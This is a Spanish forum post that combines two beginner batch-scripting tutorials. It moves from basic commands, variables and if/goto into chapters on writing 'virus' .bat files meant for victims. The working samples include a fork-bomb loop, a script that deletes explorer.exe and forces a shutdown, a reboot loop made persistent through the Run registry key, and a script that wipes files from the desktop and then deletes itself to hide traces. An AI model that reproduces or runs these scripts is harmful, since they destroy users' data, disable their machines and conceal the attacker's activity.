F

Fhoox

Usuario (Argentina)

Primer post: 2 may 2010Último post: 2 may 2010
1
Posts
22
Puntos totales
0
Comentarios
Batch Comun y Batch Avanzado
Batch Comun y Batch Avanzado
Ciencia EducacionporAnónimo5/2/2010

Programción Batch Comun INRODUCCION: Este curso va destinado para Newbies que aun no han comenzado a programar. Intentare explicarlo todo lo mas claro y preciso que pueda. Si ustedes ya han programado alguna vez, no se molesten en leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender. El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que puedan aprender bien. Los unicos requisitos son; el bloc de notas, paciencia e intentar entender lo que se hace Capitulo Uno MI PRIMER PROGRAMA .BAT En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la programcion en batch. Abran el bloc de notas. A continuacion escrivan Código: @echo off Asi sera como empesemos siempre el programa A continuacion escriviremos es titulo del programa, para ello pondremos title seguido de su titulo, ejemplo: Código: @echo off title mi primer programa txshack De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack" Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo apunten en un papel para tenerlos siempre presentes. echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word echo este sirve para mostrar un mensaje en el programa rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para acer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc) pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir, daremos una tecla y continuara. exit esta sirve para acabar el programa, para salir de el.... Bien una vez dicho esto, podremos crear nuestro primer programa. Abran el bloc de notas si aun no lo han echo y escriban.. Código: @echo off title mi primer programa txshack echo. echo comentario echo. pause echo. echo este es mi primer programa jejeje siiiiii pause > nul rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion exit Aora le dan a guardar como y lo llaman por ejemplo 1?‚ºprogramacontxshack.bat o lo que quieran, pero deve ser loquesea.bat Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!! Despues intenten entender el codigo, y veran lo sencillo que es... En el proximo capitulo les ense?are como hacer que el programa te aga preguntas y tu responderlas...etc No se impacienten!! jeje Espero que les ayude. CAPITULO 2: LAS VARIABLES Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no? Ahora pasaremos a las variables. Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo. Código: @echo off title ejemplos set var=capullo echo eres un %var% pause Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado ejemplos. (asta aki ya lo sabian no) a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un capullo jejeje, esto es un ejemplo, vean. han visto no asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra seguida de set, de esta forma %unapalabra% por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les ago el ejemplo... Código: @echo off title ejemplo4 set/p nombre= ?como te llamas? echo. pause echo. set/p edad= ?y cuantos a?os tienes? echo. pause echo. set/p vive= ?y donde vives? echo. pause cls echo te llamas %nombre% y tienes %edad% a?os y vives en %vive% echo. pause > nul exit han visto no si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte de ello y coger soltura Y bueno, si se an quedado con esto... por oy ya es bastante... Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar el color a la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y letra (color de letras y de fondo)... prueven.... CODIGO DE COLORES: 0 = Negro 1 = Azul 2 = Verde 3 = Aguamarina 4 = Rojo 5 = Prpura 6 = Amarillo 7 = Blanco 8 = Gris 9 = Azul claro A = Verde claro B = Aguamarina claro C = Rojo claro D = Prpura claro E = Amarillo claro F = Blanco brillante Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores Código: @echo off title ejemplo4 color 5e set/p nombre= ?como te llamas? echo. pause echo. set/p edad= ?y cuantos a?os tienes? echo. pause echo. set/p vive= ?y donde vives? echo. pause cls color 2f echo te llamas %nombre% y tienes %edad% a?os y vives en %vive% echo. pause > nul exit CAPITULO 3: VARIABLES -CONTINUACION- En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p). Estas en vez de set/p xxx= se llaman set/a xxx= Sirve por ejemplo para realizar medias, porcentajes...etc... Lo mejor es ver un ejemplo: Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1?‚º capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo digo porque lo utilizare para irles explicando. VEAN: Código: @echo off title calcula tus nota lo que acemos es dotar la palabra asig con el valor 6 set/a suma=a+b+c+d+e+f rem aqui sumamos las medias set/a media=%suma%/%asig% rem como veran al dividir la suma entre las asignaturas sacamos la media echo tu nota media es de : %media% pause echo estudia mas cabron echo. echo consejo de txshack pause exit Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ‚¡que qereis!? jeje Espero que lo ayais entendido. Los comandos de las operaciones son suma+ resta - producto * division / exponente ^ CAPITULO 4: IF, GOTO, MENUS Bueno, en este 4?‚º capitulo, os explicare 2 sencillos comandos (el goto, y el de la estructuracion por menus), y otro algo mas complicado (el if) pero vereis que con un poco de practica tambien esta chupado. El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un menu... Los menus, nos permiten hacer "menus" o apartados en nuestro bat. Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas claro) El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se ara tal cosa. El comando if, dispone de los siguientes atributos: variable==valor (para expresar si la variable es igual a valor az esto) variable LSS valor (para expresar si la variable es menor a valor az esto) variable GTR valor (para expresar si la variable es mayor a valor az esto) variable LEQ valor (para expresar si la variablees menor o igual az esto) variable GEQ valor (para expresar si la variable es mayor o igual az esto) Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo. Código: @echo off title txshack if, goto y menus :menu cls echo responde si o no echo. set /p var=quieres convertirte en hacker?? If %var%==si goto serh If %var%==no goto noh :serh cls echo pues entonces sigue los consejos de txshack pause > nul goto end :noh cls echo. echo pues entonces que co?o aces leyendo esto?? pause > nul goto end :end cls echo. echo adios pause exit Han comprendido no es sencillo. Aqui os dejo otro ejemplo Código: @echo off title ?que numero sera...? :menu cls echo deves averiguar el numero para poder salir echo. set /p var=pon un numero: If %var%==5 goto si If %var% LSS 5 goto menor If %Var% GTR 5 goto mayor :si cls echo correcto!!! por culo te la inco!! jaja pause goto salir :menor cls echo elije otro mas alto echo. echo sigue jugando pause > nul goto menu :mayor echo elije otro mar peke?o!! echo. echo sigue probando pause > nul goto menu :salir echo. echo asta otro dia!! pause > nul echo. echo un saludo, txshack pause exit Ya lo abran pillado no Tambien pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ?Entienden no? sino agan un ejemplo veran q facil es. Se preguntaran tambien que pasa, cuando por ejemplo en el 1?‚º ejemplo que puse, en vez de escrivir si o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser lineal, pasra a la siguiente linea... sin importar lo q pongamos (pruevenlo). Pero no se preocupen todo esto tiene solucion con un comando llamado else. Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos Código: if %vari%=1 (goto menu1) else goto menu2 Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2. La sintaxis seria esta if condiciones (accion1) ELSE accion2 La 1?‚º accion deve ir entre parentesis obligatoriamente. Vean un ejemplo les quedara mas claro... En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escrives cualqier otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes Código: @echo off title txshack di soy bobo :menu cls echo que quieres? consejo o salir echo. set /p var=dime, consejo o salir: If %var%==consejo (goto consejo) else goto if2 :if2 if %var%==salir (goto end) else goto menu :consejo cls echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!! pause > nul goto end :end cls echo. echo adios!! pause exit Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen Pronto seguire. Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueven por ustedes mismos. En este capitulo, os ense?are el resto de comandos interesantes, y para el proximo capitulo, nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos. Bien, estos son los comandos basicos q deven recordar: del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe /P Pide confirmacin en cada caso /F Modo force. Borra incluso los archivos de solo lectura /S Borra tambin los subdirectorios. /Q Modo silencioso. No pide confirmacin en ningn caso rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir. star comienza algo, por ejemplo star www.infiernohacker.mundoforo.com taskkill mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe format unidad: formatea una unidad, por ejemplo format c: msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te olvides de visitar infiernohacker reg add a?ade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante) > y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola. Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente adios. Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios. Espero que lo hayan entendido... en brebes palabras_ > crea o remplaza un archivo >>salta asta la linea siguiente ejemplo: Código: @echo off echo txshack>hola.txt exit Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra txshack * El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg borrara todos los archivos con extension .jpg del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion. ? El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no? El * y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto, porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden. c?sa.* (archivos c -un caracter- sa y de cualquier extension) *asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea) CHDIR o CD [path> Cambia al directorio indicado. CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa CD .. Trasladarse al directorio superior CD \\ Trasladarse al ra?*z ATTRIB [/S> [archivo> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos. Con el par?metro /S busca tambin en subdirectorios. Los atributos son: H -> oculto. Se activa con +h y desactiva con -h R -> Lectura. Solo lectura con +r, normal con -r S -> Sistema. Se activa con +s y desactiva con -s A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado. ATTRIB archivo.txt Muestra los atributos de ese archivo ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt) attrib *.exe +r +r +s (pone a todos los archivos con extensin exe como ocultos, del sistema y read only) shutdown este comando, depende de las letras que lo acompa?en, puede acer una cosa u otra: si esta seguido de -r se reiniciara el equipo -s hara que se apage -f forzara a cerrarse todos programas -t 15 indica el tiempo...en este caso 15 segundos -c " " lo que va entre comillas sera un mensaje... pongamos un ejemplo_ shutdown -r -f -t 12 -c "jodete" esto ara q la pc se reinicie (-r) que se cierren todos los programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga jodete Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los basicos. Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de virus y programas, iran apareciendo los que me ayan quedado. De momento creo que con estos tenemos por hoy CAPITULO 6: INICIACION A LA CREACION DE VIRUS Como ya os habia dicho, a partir de aqui, comenzaremos con la creacion de virus. Empezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo (profundizando algo mas) en este tema. 1.)Introduccion Buenas , ante todo he de decir que esto es un manual de introduccin y no un manual para expertos. En este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos) ¿Que es un comando? es una orden que le damos al sistema operativo para que haga una tarea determinada. explicacin: @echo off Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente. explicacin: shutdown es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no. explicacin: parametro -s y -t el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. en el ejemplo de antes pusimos 1 segundo. otros parametros de shutdown: shutdown -r = Reinicia shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario" shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost shutdown -f = fuerza el cierre de las aplicaciones. Comandos b?sicos a continuacin os pondr varios comandos que sirven mucho a la hora de hacer virus. -del = borra un archivo -copy = copia un archivo -reg = hacer modificaciones en el registro -net = Muchas funciones, escriban en cmd net /? para ver sus funciones -RD = elimina un directorio -set = Muestra , establece, crea , variables de entorno de windows. -taskkill o tskill = mata procesos Comandos del registro Operaciones: REG QUERY /? REG ADD /? REG DELETE /? REG COPY /? REG SAVE /? REG RESTORE /? REG LOAD /? REG UNLOAD /? REG COMPARE /? REG EXPORT /? REG IMPORT /? Usad estos comandos para obtener ayuda sobre los parametros despus de reg. inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar cada uno xD) Bucles Bueno un bucle es repetir muchas veces lo mismo ejemplo @echo off :txshack echo te estoy haciendo un bucle jaja goto txshack jeje ya podeis imaginaros las cosas que podeis hacer. otro ejemplo: @echo off :menu start goto menu Madre m?*a.. este simple cdigo , el que lo abra tendr? que reiniciar , por que el pc se le trabar? todo. el comando start lo que hace es abrir otra shell, as?* que imaginate este bucle infinito. podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc (start http://infiernohacker.mundoforo.com) Nuestro segundo virus. @echo off taskkill /F /IM msnmsgr.exe del /F c:\windows\system32\explorer.exe shutdown -s -t 10 -c "Asta luego lucas!!" Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con el mensaje asta luego lucas xD Variables de windows xp para ver el contenido de estas variables escriban en cmd.exe echo %NOMBREDELAVARIABLE% %COMPUTERNAME% = Nombre de host. %SYSTEMROOT% = Carpeta de administracin Normalmente c:\windows %TEMP% = directorio donde se encuentran los archivos temporales %WINDIR% = directorio de windows. %USERNAME% = usuario con el que se inicio sesin %USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesin %PROGRAMFILE% = directorio donde se encuentran los archivos de programas %OS% = muestra el sistema operativo que estamos ejecutando %LOGONSERVER% = nombre de nuestro server (\\mihost) no son todos pero estan los mas importanter CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e podido hacerlo. Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas clara posible como hacer que el virus se quede en run para que se ejecute al arrancar, y algunas cosillas mas... Podemos crear un virus que se ejecute, haga su funcion y ya esta... o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie... Como podemos ver el da?o no es igual... imaginen este virus: @echo off shutdown -r -f -t 5 exit Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la victima lo vuelva a ejecutar... Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya joderia algo mas no? Pues bien, esto es lo que voy a intentar explicar. 1?‚º Devemos acer que nuestro virus se cree en algun directorio 2?‚º A?adirlo al registo, (a run) 3?‚º Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc Bueno, en primel lugar, comenzaremos como siempre @echo off A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por ejemplo C: o System32 o Windows... etc Si queremos que se guarde en c: basta con escrivir tan solo cd @echo off cd Si por ejemplo queremos q se guarde en System32, pues ariamos: @echo off cd c:\windows\system32 Y de esta forma igual con cualquier otro directorio.... Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat completo en system32... es decir... crear uno desde el principio, apartir de este... Lo veran mejor con el siguiente ejemplo Código: @echo off cd c:\windows\system32 echo @echo off > virus.bat echo shutdown -r -s -t 5 >> virus.bat echo exit >> virus.bat exit Entienden lo que emos echo no si an seguido el manual desde el principio, entenderan el porqe del > y del >>. Por si no lo saben se lo explico brebemente: El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente. Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos queda a?adirlo a RUN para q se inicie con windows... Para ello a?adiremos lo siguiente: reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta C:\windows\system32. Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo. Asi que de momento nuestro virus iria asi: Código: @echo off cd c:\windows\system32 echo @echo off > virus.bat echo shutdown -r -s -t 5 >> virus.bat echo exit >> virus.bat reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f exit Pues con esto ya ariamos una buena chapuzilla a alguno xD jeje. Ahora podriamos poner algun mensaje y tambien ejecutar el bat... Por ejemplo asi: Código: @echo off cd c:\windows\system32 echo @echo off > virus.bat echo shutdown -r -s -t 5 >> virus.bat echo exit >> virus.bat reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f msg * Estas perdido amigo msg * Ahora TxShack domina tu pc msg * jajaja start c:\windows\system32\virus.bat exit Bueno, y asta aqui, explicare por hoy Espero que lo hayan entendido todo... Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de archivos...etc Pongan a prueva su ingenio e imaginacion!! Es mas facil de lo que parece. Un saludo, y asta pronto. Como iniciarse en batch desde el principio Indice 1. ¿Que es Batch? 1.1 Codigos Basicos y Pequeña Practica Iniciativa 1.2 ¿Como guardo el Batch? 2. Variables 2.1 Variables del entorno 3. Automatizando Tareas (AT) 4. Utilizacion de comandos de red 5. Redirecciones 6. %0, %1, etc. 7. Manejo del Registro 1. ¿Que es Batch? Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc. Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria. 1.1 Codigos Basicos y Pequeña Practica Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas. Los comandos basicos de batch son los siguientes: *ECHO: imprime un texto en pantalla [email protected] OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa. * DIR: muestra un listado con el contenido de un directorio. * TYPE: muestra el contenido de un archivo en pantalla. * COPY: copia archivos en otro lugar. * REN (RENAME): renombra archivos. * DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad). * MD o MKDIR: crea un nuevo directorio. * CD o CHDIR: cambia el directorio actual por el especificado. * RD o RMDIR: borra un directorio vacío. * DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones) * CLS: limpia la pantalla. * HELP: ayuda sobre las distintas órdenes. * SORT: ordena Datos *SHUTDOWN: apaga el ordenador Ahora probamos Abres el Block y escribes el siguiente codigo. @echo off title Primer Programa echo presiona una tecla pause echo hola pause > nul exit Aca una screen del codigo anterior luego de ser compilado y funcionando: Ahora expliquemos el codigo que copiaste @Echo off este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea. Title este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa. Echo este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla. por ejemplo echo hola en la pantalla apareceria "hola" Pause esto crea una pausa en el programa y tienes que presionar una tecla para proseguir. Pause > nul esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir" 1.2 ¿Como guardo el Batch? Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como... Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos" 2. Variables DEFINICION Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conosco todos ). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas. Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero% A LA PRACTICA comenzaremos examinando el code siguiente: @echo off title variables echo bienvenido al ejercicio para aprender variables echo . echo presiona una tecla para continuar pause > nul set /p nombre=como te llamas? set /p edad=cuantos anios tenes? set /p comida= que comes? pause > nul echo hola %nombre% echo veo que tienes %edad% anios verdad? echo como rayos te puede gustar %comida%? pause > nul exit Ahora Examinemos el code: set /p nombre=como te llamas? con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables. /p significa que el usuario le pondra el valora la variable por medio de una pregunta. "nombre" ahi esta el nombre dela variable. "=como te llamas?" es la pregunta que se le hara al usuario. He aqui un modelo standar de variable set /p var1=que valor le asigna a la variable 1? tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo set var=pesos echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD exit Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto este seria el ejemplo del programa corriendo asi se entiende mejor: Bienvenidos al ejercicio para aprender variables . Presione una tecla para continuar como te llamas? holy que edad tienes? 14 que comes? nada hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD 2.1 Variables del entorno hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo: nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe" logicamente le podremos que busque en la ruta c:/windows/system32/ pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores usaremos las variables del entorno que son las siguientes: %ALLUSERSPROFILE% ------> todos los usuarios %APPDATA% ---------> datos de programa %PROMPT%%TEMP% y %TMP% ---------> temporales %USERDOMAIN% -----------> obtener dominio %USERNAME% --------------->nombre del usuario Actual %USERPROFILE% ---------------> usuario configuracion %programfiles% ---------------> archivos de programas %systemroot% ----------------> windows %homedrive% --------------> disco Raiz para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad @echo off title pruba echo ahora se ejecutara el notepad %homedrive%/windows/system32/notepad.exe exit en caso de que tubieramos en el disco c: eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de programar batch. 3. Automatizando Tareas (AT) El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es. @echo off at 4:00 shutdown -s -f -t 01 pause > nul exit @echo off at /next:4 4:00 shutdown -s -f -t 01 pause > nul exit @echo off at /every:4/2 4:00 shutdown -s -f -t 01 pause > nul exit Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg. @echo off rem este code contiene una redireccion, at 3:00 shutdown -s -f -t 05 > c:/shut.bat REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/shut.bat" del %0 exit .4 Utilizacion de comandos de red Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. Aqui les dejo una lista de comandos con su explicacion. FTP Iniciar el cliente ftp IPCONFIG parámetros Mostrar las características de configuración de IP /all -> muestra toda la información de configuración /release adaptador -> libera la ip del adaptador especificado /renew adaptador -> renueva la ip para el adaptador especificado /flushdns -> purga la caché de resolución de dns /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns /displaydns -> muestra el contenido de la cache de resolución dns NBTSTAT Hace un estado de la red por netbios Tiene muchos parámetros. Consultarlos mediante nbtstat /? NET parámetros Comando para el uso de redes netbios USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema. USE \USER: dominio\usuario para acceder a un dominio USE unidad /DELETE eliminar el acceso a unidad compartida. SHARE trayecto /REMARK texto -> para compartir un recurso en red START -> para comenzar sesión netbios STOP -> para detener netbios NETSTAT Para ver el estado de la red. -a -> mostrar todos los puertos y conexiones -n -> mostrar números de puertos y direcciones -r -> mostrar la tabla de rutas -s -> mostrar estadísticas por protocolo -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas NSLOOKUP dominio Muestra el dominio, su ip, dns donde se resuelve y sus alias PING Enivia paquetes a un host para comprovar su disponibilidad TELNET ip puerto Utilizar el protocolo telnet para acceso a un servidor exterior TRACERT destino muestra el camino que se toma hasta llegar a la ip 5. Redirecciones Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo. @echo off shutdown -s -f -t 01 >> "c:/shut.bat" En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros. @echo off del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat" del /f /q %0 rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con: echo hola > prn Este code tendria que salir por la impresora. DISPOSITIVO -- SALIDA CON -- Salida por la pantalla PRN -- Salida por la impresora por defecto LPT1 -- Salida por la 1º impresora en paralelo COM1 -- Salida por el primer puerto serie COM2 -- Salida por el segundo puerto serie 6.%0, %1, etc. Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos. %0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo: @echo off del /f /q %0 exit Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden especificar para un comando. dir /p en este caso "/p" seria igual a %1. Entonses si ponemos del /f /q "/f" es %1 y "/q" es %2 Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo: C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help y luego solo normalmente C:\Documents and Settings\Francisco\Escritorio\>prueba.bat @echo off title Ejemplo de variables if %1==/help (goto help) else goto :tex :help echo Esta es la ayuda echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help pause exit :tex echo De esta forma se ejecuta el programa normalmente pause exit 7.Manejo del Registro Accesar al registro es algo fundamental .Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se pueden especificar y muchas funcionalidades. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente. Los tipos de "reg" son los siguientes: REG ADD / Para agregar una clave al registro REG QUERY / Para consultar una clave REG EXPORT / Para exportar claves REG IMPORT / Importa una clave exporta anteriormente con EXPORT. REG COMPARE / compara una clave con otra. REG ADD ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat" Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat. REG QUERY REG QUERY clave [/v nvalor | /ve][/s] clave [\equipo\]clave equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos. clave: Con la forma nombre de CLAVERAIZ\subclave 